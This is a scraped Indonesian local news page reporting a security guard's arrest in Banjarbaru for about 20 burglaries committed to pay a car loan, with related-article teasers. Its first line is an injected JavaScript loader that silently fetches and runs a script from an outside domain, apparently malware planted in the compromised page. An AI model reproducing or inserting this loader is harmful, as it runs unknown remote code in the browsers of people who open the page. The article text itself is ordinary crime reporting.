(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Aksi pencurian yang dilakukan S (36), petugas sekuriti di Panti Sosial Loka Bina Karya Banjarbaru cukup mengejutkan. Bagaimana tidak, sebanyak 20 TKP di berbagai lokasi baik itu rumah maupun ruko, telah digarapnya seorang diri selama periode Maret – Juni lalu.
S berhasil diamankan Unit Satreskrim Polres Banjarbaru, usai aksi terakhinya terendus oleh pihak kepolisian. Selain menangkap S, petugas juga mengamankan barang bukti hasil curian sebanyak 37 unit alat elteronik.
Uniknya, aksi pencurian ini dilatarbelakangi oleh faktor ekonomi. Ya, barang hasil curian tersebut, nyatanya digunakan S untuk melunasi biaya cicilan mobil miliknya.
“Barang hasil mencuri itu, dijual pelaku untuk membayar cicilan mobilnya. Yang bersangkutan sehari-harinya berprofesi sebagai sekuriti. Ini faktor desakan ekonomi,” kata Kapolres Banjarbaru, AKBP Doni Hadi Santoso, Rabu (7/7/2020).
Dalam melancarkan aksi pencurian, S menggunakan mobil kreditan tersebut untuk memantau bangunan rumah atau ruko kosong ditinggal pemiliknya. Butuh waktu dua hari selama pemantauan, hingga akhirnya S mulai melancarkan aksi.
“Pembobolan dilakukan pelaku pada malam hari. Ketika ada warga sekitar atau tetangga yang bertanya, pelaku berdalih disuruh oleh si pemilik rumah,” lanjut AKBP Doni.
Pelaku ini terbilang lihai dan teliti saat melakukan aksi pencurian, seperti halnya menghapus atau menghilangkan jejak aksinya.
“Sebagai contoh, kamera CCTV yang terpasang di beberapa lokasi, berhasil ia ketahui dan diambil secara paksa. Kemudian CCTV tersebut dijual oleh pelaku,” kata Kapolres.
Baca juga: Sekuriti ‘Spesialis’ Mencuri, Lancarkan Aksi di 20 Lokasi Berbeda
Selama melancarkan aksinya, S melakukan pembongkaran paksa dengan menggunakan linggis, gembok, bahkan gerinda. Selanjutnya, seluruh barang berharga yang ada di dalam rumah ataupun ruko yang menjadi sasarannya, diangkut S ke dalam mobil miliknya.
“Mobil yang digunakan itu dibeli kredit oleh pelaku. Nah, hasil dari pencurian inilah yang digunakan pelaku untuk mencicil pembayaran mobil tersebut,” pungkas Kapolres Banjarbaru.
Atas perbuatannya, S dijerat pasal 363 (1) KUHP jo Pasal 85 KUHP tentang pencurian dengan pemberatan dan perbarengan beberapa perbuatan, dengan ancaman pidana maksimal 9 tahun penjara. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.